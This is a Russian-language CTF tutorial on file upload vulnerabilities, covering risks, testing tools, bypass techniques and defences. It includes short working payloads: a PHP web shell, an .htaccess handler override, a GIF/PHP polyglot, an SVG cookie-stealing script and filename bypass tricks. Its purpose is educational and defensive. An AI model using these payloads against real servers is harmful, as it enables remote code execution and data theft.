Источник: https://github.com/AnaktaCTF/CTF/blob/main — WEB/File Upload Vulnerability.md

Что это за уязвимость

File Upload Vulnerability — это уязвимость, связанная с ненадёжной обработкой загружаемых пользователями файлов на стороне сервера. Эта уязвимость может позволить злоумышленнику:

  • загрузить исполняемый файл (например, PHP web shell);
  • выполнить удалённый код на сервере (RCE);
  • получить обход аутентификации;
  • перезаписать существующие файлы;
  • использовать сервер как хранилище для вредоносного ПО или запрещённых файлов.

Почему она опасна

  • Попадание на сервер shell-скрипта часто приводит к полной компрометации;
  • Возможен доступ к облаку или базе данных;
  • Используется в автоматизированных атаках (ботами);
  • Может привести к утечке данных или дефейсу сайта.

Примеры атак

Пример 1: Взлом на базе uCoz

http://victim-site.com/uploads/myshell.php

Пример 2: Shell через .htaccess

.htaccess: AddType application/x-httpd-php .jpg
shell.jpg: <?php system($_GET['cmd']); ?>

Пример 3: Polyglot-файл (GIF + PHP)

GIF89a
<?php system($_GET['cmd']); ?>

Пример 4: SVG-инъекция

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

Пример 5: Перезапись .env через LFI + Upload

Загружаем payload.php?page=../../uploads/payload.php

Как искать уязвимость

Ручной подход

  • Пробуем загрузить .php, .jsp, .svg, .exe;
  • Меняем Content-Type в Burp Suite;
  • Проверяем возможность обхода имени файла, MIME и доступа.

Инструменты

  • Fuxploider
  • Burp Suite Intruder
  • WFuzz
  • Nikto, Wapiti
  • Dirsearch

Типы обходов защит

Обход Пример
Двойное расширение shell.jpg.php
Null Byte shell.php%00.jpg
Polyglot-файл GIF89a + PHP
MIME Spoofing Content-Type: image/jpeg
Base64 payload SVG с встроенным кодом
ZIP Bomb / Slip Архивы с ../shell.php

Защита

  • Белый список расширений;
  • Проверка MIME и сигнатур;
  • Переименование + хранение вне webroot;
  • Запрет на выполнение скриптов;
  • Лимит размера и обработка изображений.

Расширенные техники обхода

  • Использование редких расширений: .phtml, .phar
  • Подделка Content-Type: image/png
  • Имя файла с символами: %20, %09
  • SVG и PDF с XSS и JavaScript
  • .htaccess для смены интерпретатора
  • ZIP Slip атаки и символические ссылки
  • PUT/PATCH обходы
  • API с base64-инъекциями

Заключение

File Upload — одна из самых опасных уязвимостей. Один неправильный фильтр — и сервер под контролем атакующего.